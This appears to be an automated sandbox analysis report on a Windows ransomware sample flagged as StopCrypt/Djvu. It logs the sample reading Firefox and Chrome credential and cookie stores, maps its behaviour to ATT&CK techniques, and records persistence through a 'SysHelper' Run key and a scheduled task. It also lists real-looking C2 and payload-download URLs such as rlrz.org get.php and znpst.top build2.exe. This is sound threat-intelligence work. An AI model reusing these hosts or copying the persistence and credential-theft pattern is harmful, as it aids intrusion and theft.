Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\times.json	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\protections.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\ExperimentStoreData.json	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db-journal	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\xulstore.json	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionCheckpoints.json	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\yiaxs5ej.default\times.json	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\containers.json	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\handlers.json	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\parent.lock	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\sessionstore.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\permissions.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\pkcs11.txt	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Google Profile.ico	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\addons.json	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\shield-preference-experiments.json	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\SiteSecurityServiceState.txt	Jump to behavior
Source: C:\Users\user\Desktop\16oApcahEa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\v6zchhhv.default-release\targeting.snapshot.json	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 System Time Discovery	1 Taint Shared Content	11 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	2 Data Encrypted for Impact
Credentials	Domains	Default Accounts	3 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	3 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Services File Permissions Weakness	211 Process Injection	22 Software Packing	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	NTDS	24 System Information Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Services File Permissions Weakness	1 Masquerading	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	151 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	211 Process Injection	DCSync	21 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Services File Permissions Weakness	Proc Filesystem	2 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
16oApcahEa.exe	92%	ReversingLabs	Win32.Ransomware.StopCrypt
16oApcahEa.exe	85%	Virustotal		Browse
16oApcahEa.exe	100%	Avira	HEUR/AGEN.1316641
16oApcahEa.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	100%	Avira	HEUR/AGEN.1316641
C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe	92%	ReversingLabs	Win32.Ransomware.StopCrypt

Source	Detection	Scanner	Label
http://rlrz.org/fhsgtsspen6/get.php?pid=903E7F261711F85395E5CEFBF4173C54M	0%	Avira URL Cloud	safe
http://rlrz.org/fhsgtsspen6/get.phpl	0%	Avira URL Cloud	safe
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	0%	Avira URL Cloud	safe
http://rlrz.org/fhsgtsspen6/get.php?pid=903E7F261711F85395E5CEFBF4173C54%	0%	Avira URL Cloud	safe
http://rlrz.org/fhsgtsspen6/get.php	0%	Avira URL Cloud	safe
http://rlrz.org/fhsgtsspen6/get.phpu	0%	Avira URL Cloud	safe
http://rlrz.org/fhsgtsspen6/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=true	0%	Avira URL Cloud	safe
http://rlrz.org/fhsgtsspen6/get.php?pid=903E7F261711F85395E5CEFBF4173C54	0%	Avira URL Cloud	safe
http://rlrz.org/fhsgtsspen6/get.php?pid=903E7F261711F85395E5CEFBF4173C54e	0%	Avira URL Cloud	safe
http://rlrz.org/files/1/build3.exe$runad	0%	Avira URL Cloud	safe
http://rlrz.org/files/1/build3.exe$run	0%	Avira URL Cloud	safe
http://rlrz.org/files/1/build3.exe	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
api.2ip.ua	104.21.32.1	true	false	high
znpst.top	92.246.89.93	true	false	high
rlrz.org	unknown	unknown	true	unknown
171.39.242.20.in-addr.arpa	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.2ip.ua/geo.json	false		high
http://rlrz.org/fhsgtsspen6/get.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://rlrz.org/fhsgtsspen6/get.php?pid=903E7F261711F85395E5CEFBF4173C54M	16oApcahEa.exe, 00000007.00000002.3282500869.0000000000855000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://we.tl/t-xl2bbDnZY	16oApcahEa.exe, 00000006.00000002.2684294741.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2682617657.00000000007B0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://znpst.top/dl/build2.exeyD	16oApcahEa.exe, 00000006.00000002.2683985860.00000000006F8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://znpst.top/dl/build2.exe	16oApcahEa.exe, 00000006.00000002.2683985860.0000000000791000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000002.2683985860.0000000000737000.00000004.00000020.00020000.00000000.sdmp	false		high
https://we.tl/t-xl2bbDnZSN	16oApcahEa.exe, 00000006.00000002.2684294741.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2682617657.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2682339966.00000000030E6000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2682945162.00000000030E7000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000007.00000002.3282500869.0000000000874000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000007.00000002.3282500869.000000000087E000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000007.00000002.3282500869.0000000000855000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/(	16oApcahEa.exe, 00000002.00000002.2077399263.0000000000737000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000002.00000003.2067319993.0000000000747000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.json/	16oApcahEa.exe, 00000007.00000002.3282500869.00000000007C8000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 0000000C.00000002.2299582929.00000000007F6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.amazon.com/	16oApcahEa.exe, 00000006.00000003.2342565385.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.json)	16oApcahEa.exe, 00000007.00000002.3282500869.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://rlrz.org/fhsgtsspen6/get.php?pid=903E7F261711F85395E5CEFBF4173C54e	16oApcahEa.exe, 00000007.00000002.3282500869.0000000000855000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.twitter.com/	16oApcahEa.exe, 00000006.00000003.2343114687.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://rlrz.org/files/1/build3.exe$runad	16oApcahEa.exe, 00000006.00000002.2683985860.0000000000737000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.openssl.org/support/faq.html	16oApcahEa.exe, 0000000C.00000002.2299360619.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		high
http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	16oApcahEa.exe, 00000000.00000002.2058412367.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, 16oApcahEa.exe, 00000002.00000002.2077131980.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 16oApcahEa.exe, 00000004.00000002.2134365777.0000000004CE0000.00000040.00001000.00020000.00000000.sdmp, 16oApcahEa.exe, 00000005.00000002.2112841056.0000000004D50000.00000040.00001000.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 16oApcahEa.exe, 00000007.00000002.3282232782.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 16oApcahEa.exe, 00000008.00000002.2208558716.0000000004CD0000.00000040.00001000.00020000.00000000.sdmp, 16oApcahEa.exe, 0000000A.00000002.2219098223.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 16oApcahEa.exe, 0000000B.00000002.2290687050.0000000004C90000.00000040.00001000.00020000.00000000.sdmp, 16oApcahEa.exe, 0000000C.00000002.2299360619.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.json:4	16oApcahEa.exe, 0000000C.00000002.2299582929.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonz	16oApcahEa.exe, 0000000A.00000002.2220287976.0000000000868000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsons	16oApcahEa.exe, 0000000A.00000002.2220287976.0000000000868000.00000004.00000020.00020000.00000000.sdmp	false		high
https://we.tl/t-xl2bbDnZI	16oApcahEa.exe, 00000007.00000002.3282500869.0000000000874000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.reddit.com/	16oApcahEa.exe, 00000006.00000003.2343024174.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://rlrz.org/fhsgtsspen6/get.phpl	16oApcahEa.exe, 00000006.00000002.2683985860.0000000000791000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000007.00000002.3282500869.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.nytimes.com/	16oApcahEa.exe, 00000006.00000003.2342968937.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.2ip.ua/	16oApcahEa.exe, 0000000C.00000002.2299582929.00000000007F6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsontwn	16oApcahEa.exe, 0000000A.00000002.2220287976.0000000000868000.00000004.00000020.00020000.00000000.sdmp	false		high
http://rlrz.org/fhsgtsspen6/get.phpu	16oApcahEa.exe, 00000006.00000002.2683985860.0000000000737000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonW	16oApcahEa.exe, 0000000C.00000002.2299582929.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/h	16oApcahEa.exe, 00000007.00000002.3282500869.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://rlrz.org/fhsgtsspen6/get.php?pid=903E7F261711F85395E5CEFBF4173C54	16oApcahEa.exe, 00000007.00000002.3282500869.0000000000866000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000007.00000002.3282500869.0000000000855000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonl	16oApcahEa.exe, 0000000C.00000002.2299582929.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://rlrz.org/fhsgtsspen6/get.php?pid=903E7F261711F85395E5CEFBF4173C54%	16oApcahEa.exe, 00000007.00000002.3282500869.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/U	16oApcahEa.exe, 00000006.00000003.2121908039.0000000000745000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000002.2683985860.0000000000737000.00000004.00000020.00020000.00000000.sdmp	false		high
https://we.tl/t-xl2bbDnZ	16oApcahEa.exe, 00000006.00000002.2684294741.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000006.00000003.2682617657.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 00000007.00000002.3282500869.0000000000874000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonc	16oApcahEa.exe, 0000000C.00000002.2299582929.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.json&c	16oApcahEa.exe, 0000000A.00000002.2220546409.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 0000000A.00000003.2218391763.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://rlrz.org/fhsgtsspen6/get.php?pid=903E7F261711F85395E5CEFBF4173C54&first=true	16oApcahEa.exe, 00000006.00000002.2683985860.00000000006F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://znpst.top/dl/build2.exe$run	16oApcahEa.exe, 00000006.00000002.2683985860.0000000000737000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/A	16oApcahEa.exe, 00000006.00000003.2121908039.0000000000745000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/C	16oApcahEa.exe, 0000000C.00000002.2299582929.00000000007F6000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.youtube.com/	16oApcahEa.exe, 00000006.00000003.2343224797.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonNb6	16oApcahEa.exe, 0000000A.00000002.2220546409.00000000008F3000.00000004.00000020.00020000.00000000.sdmp, 16oApcahEa.exe, 0000000A.00000003.2218391763.00000000008F3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://rlrz.org/files/1/build3.exe	16oApcahEa.exe, 00000006.00000002.2683985860.0000000000737000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.wikipedia.com/	16oApcahEa.exe, 00000006.00000003.2343170615.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.live.com/	16oApcahEa.exe, 00000006.00000003.2342911966.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.2ip.ua//	16oApcahEa.exe, 0000000A.00000002.2220287976.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.jsonJ	16oApcahEa.exe, 00000006.00000003.2121908039.0000000000782000.00000004.00000020.00020000.00000000.sdmp	false		high
http://rlrz.org/files/1/build3.exe$run	16oApcahEa.exe, 00000007.00000002.3282500869.0000000000855000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.jsonz;	16oApcahEa.exe, 0000000C.00000002.2299582929.00000000007B8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.google.com/	16oApcahEa.exe, 00000006.00000003.2342747311.00000000031B0000.00000004.00001000.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.21.32.1	api.2ip.ua	United States		13335	CLOUDFLARENETUS	false
92.246.89.93	znpst.top	Russian Federation		49558	LIVECOMM-ASRespublikanskayastr3k6RU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583095
Start date and time:	2025-01-01 22:02:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	16oApcahEa.exe renamed because original name is a hash value
Original Sample Name:	3f1596b4ebd177ec46e57ea0e6d208f32c1ebb93b448a4b5318cc116293d1e71.exe
Detection:	MAL
Classification:	mal100.rans.spre.troj.spyw.evad.winEXE@18/1341@8/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 80 Number of non-executed functions: 245
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 20.109.210.53, 13.107.246.45, 20.242.39.171
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
16:03:25	API Interceptor	1x Sleep call for process: 16oApcahEa.exe modified
22:02:59	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe s>--Task
22:03:01	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe" --AutoStart
22:03:09	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\7b5b8de9-db81-4bdd-90af-a4700c7d2ec8\16oApcahEa.exe" --AutoStart

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.32.1	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	redroomaudio.com/administrator/index.php
92.246.89.93	f6ffg1sZS2.exe	Get hash	malicious	Babuk, Djvu	Browse	asvb.top/nddddhsspen6/get.php?pid=F8AFCDC4E800A3319FFB343E83099637
	tsnsd8pOvn.exe	Get hash	malicious	Babuk, Djvu	Browse	asvb.top/files/penelop/5.exe
	C0XWmZAnYk.exe	Get hash	malicious	Babuk, Djvu	Browse	znpst.top/dl/build2.exe
	A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	fuyt.org/test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637
	DE1BEC11380A046D35656CB592A399445A6DEB5934A2892DCD5DAC3D0F61C55E.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	fuyt.org/test1/get.php?pid=3C8DAB0A318E3BBE55D6418C454BF200
	E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Get hash	malicious	Babuk, Bdaejec, Djvu, Zorab	Browse	fuyt.org/test1/get.php?pid=F45A1084736B94F4480CF5D84F7F4DDD
	LisectAVT_2403002B_290.exe	Get hash	malicious	Bdaejec	Browse	afeifieuuufufufuf.su/tldr.php?newinf=1
	FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	fuyt.org/test1/get.php?pid=3630DD81AC10B7EC98F7204E360B9D7E
	F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	fuyt.org/test1/get.php?pid=903E7F261711F85395E5CEFBF4173C54
	F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	fuyt.org/fhsgtsspen6/get.php?pid=63423FF445583FE5A9A41B7CFEC3D9C4

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.2ip.ua	f6ffg1sZS2.exe	Get hash	malicious	Babuk, Djvu	Browse	188.114.96.3
	buildz.exe	Get hash	malicious	Babuk, Djvu	Browse	188.114.97.3
	Q3FGHfhdgU.exe	Get hash	malicious	Djvu	Browse	188.114.96.3
	Wm0uFsapfrnONF16Njxegq7s.exe	Get hash	malicious	Djvu	Browse	188.114.97.3
	66d5df681876c_file010924.exe	Get hash	malicious	Babuk, Djvu	Browse	188.114.97.3
	tsnsd8pOvn.exe	Get hash	malicious	Babuk, Djvu	Browse	188.114.97.3
	3QKcKCEzYP.exe	Get hash	malicious	LummaC, Djvu, Go Injector, LummaC Stealer, Neoreklami, Stealc, SystemBC	Browse	188.114.96.3
	file.exe	Get hash	malicious	Babuk, Djvu	Browse	188.114.96.3
	C0XWmZAnYk.exe	Get hash	malicious	Babuk, Djvu	Browse	188.114.96.3
	284ae9899ae53d03d27bd3f72892d843fe5bbecb097f5.exe	Get hash	malicious	Amadey, DarkTortilla, Djvu, LummaC Stealer, RedLine, Stealc, Vidar	Browse	188.114.96.3
znpst.top	C0XWmZAnYk.exe	Get hash	malicious	Babuk, Djvu	Browse	92.246.89.93
	F7E3DjYJpC.exe	Get hash	malicious	Amadey Raccoon RedLine SmokeLoader	Browse	31.166.224.38
	25Kf6vSBoq.exe	Get hash	malicious	Amadey Raccoon RedLine SmokeLoader	Browse	151.251.30.69
	CFE9H9mdWr.exe	Get hash	malicious	Amadey Raccoon RedLine SmokeLoader Vidar	Browse	176.123.228.234
	cnv622JnZv.exe	Get hash	malicious	Amadey Raccoon RedLine SmokeLoader	Browse	61.98.7.132
	y8WngeDn4q.exe	Get hash	malicious	Raccoon RedLine SmokeLoader Vidar	Browse	5.163.179.4
	SYzU0M7gx6.exe	Get hash	malicious	Raccoon RedLine SmokeLoader	Browse	91.203.174.38
	SkB6zJ6H3N.exe	Get hash	malicious	Raccoon SmokeLoader Vidar	Browse	116.121.62.237
	Md0q201V1D.exe	Get hash	malicious	Raccoon RedLine SmokeLoader Vidar	Browse	211.59.14.90

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LIVECOMM-ASRespublikanskayastr3k6RU	wi86CSarYC.exe	Get hash	malicious	DanaBot	Browse	193.188.22.41
	wi86CSarYC.exe	Get hash	malicious	DanaBot	Browse	193.188.22.41
	UFh7A8CImG.exe	Get hash	malicious	DanaBot	Browse	193.188.22.40
	nSORtPkIOR.msi	Get hash	malicious	DanaBot	Browse	193.188.22.41
	cloudflare.msi	Get hash	malicious	DanaBot	Browse	193.188.22.41
	zDcNyG6Csn.exe	Get hash	malicious	DanaBot	Browse	193.188.22.40
	http://winningwriters.com	Get hash	malicious	Unknown	Browse	193.188.22.73
	f6ffg1sZS2.exe	Get hash	malicious	Babuk, Djvu	Browse	92.246.89.93
	cHZiG7fsJb.exe	Get hash	malicious	Metasploit	Browse	212.192.213.56
